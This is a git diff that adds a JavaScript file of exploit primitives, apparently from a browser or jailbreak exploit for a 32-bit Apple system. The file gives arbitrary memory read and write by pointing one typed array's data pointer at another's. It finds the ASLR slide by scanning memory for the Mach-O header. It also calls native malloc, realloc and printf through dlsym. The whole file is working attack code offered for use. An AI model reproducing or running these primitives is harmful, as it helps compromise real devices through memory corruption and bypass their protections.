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Diffstat (limited to 'src/js/primitives/mem.js')
| -rw-r--r-- | src/js/primitives/mem.js | 186 |
1 files changed, 186 insertions, 0 deletions
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js new file mode 100644 index 0000000..6c30376 --- /dev/null +++ b/src/js/primitives/mem.js @@ -0,0 +1,186 @@ +var shit_status = 0x144444; +var global_sptr_addy = 0; +var VECTOR_OFFSET = 0x10; +var sptr_size = 0; +var sptr_len = 0; + +/* + * read uint8_t + */ +function read_u8(addy) { + u8x4 = u32_to_u8x4(addy); + + /* + * `parent` is a Uint8Array of length 0x100. + * `child` is also a Uint8Array of length 0x100. + * `parent`'s `vector`, its pointer to where its data is stored, has been + * modified to point to the `child` object in memory. + * as such, accessing `parent` will allow for modifying the `child` object. + * + * the way this is used is by writing to `child`'s `vector` so it points to + * arbitrary memory. then, we can access `child`, and we now have arbitrary + * r/w + */ + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return child[0]; +} + +/* + * read uint16_t + */ +function read_u16(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x2_to_u16(child); + +} + +/* + * read uint32_t + */ +function read_u32(addy) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + return u8x4_to_u32(child); +} + +/* + * read a buffer + */ +function read_buf(addy, len) { + var buf = new Uint8Array(len); + + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + buf[cur_addy - addy] = read_u8(cur_addy); + } + + return buf; +} + +/* + * write a buffer + */ +function write_buf(addy, buf, len) { + for (cur_addy = addy; cur_addy < (addy + len); cur_addy++) { + write_u8(cur_addy, buf[cur_addy - addy]); + } + + return buf; +} + +/* + * write uint8_t + */ +function write_u8(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + child[0] = what; +} + +/* + * write uint16_t + */ +function write_u16(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x2 = u16_to_u8x2(what); + child[0] = u8x2[0]; + child[1] = u8x2[1]; +} + +/* + * write uint32_t + */ +function write_u32(addy, what) { + u8x4 = u32_to_u8x4(addy); + + parent[VECTOR_OFFSET + 0x0] = u8x4[0]; + parent[VECTOR_OFFSET + 0x1] = u8x4[1]; + parent[VECTOR_OFFSET + 0x2] = u8x4[2]; + parent[VECTOR_OFFSET + 0x3] = u8x4[3]; + + u8x4 = u32_to_u8x4(what); + child[0] = u8x4[0]; + child[1] = u8x4[1]; + child[2] = u8x4[2]; + child[3] = u8x4[3]; +} + +/* + * get process slide + */ +function get_our_slide() { + for (var slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { + if (read_u32((slide << 12) + 0x4000) == 0xfeedface) { + return slide; + } + } +} + +/* + * write str to addy + */ +function write_str(addy, s) { + for (cur_addy = addy; cur_addy < (addy + s.length); cur_addy++) { + write_u8(cur_addy, s.charCodeAt(cur_addy - addy)); + } + + return s; +} + +function init_sptr_heap() { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "malloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, 0x1000000, 0, 0, 0); + sptr_size = 0x1000000; + sptr_len = 0; + + calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0); + + return global_sptr_addy; +} + +/* + * sptr is meant to give you a pointer to a specified string + * remember your nul's! + */ +function sptr(s) { + if ((sptr_len + s.length) >= sptr_size) { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + write_str(0x150000, "realloc\0"); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, 0x150000, 0, 0); + global_sptr_addy = call4arg(addy, global_sptr_addy, sptr_size + 0x100000, 0, 0); + sptr_size += 0x100000; + } + write_str(global_sptr_addy, s); + global_sptr_addy += s.length; + return global_sptr_addy - s.length; +}
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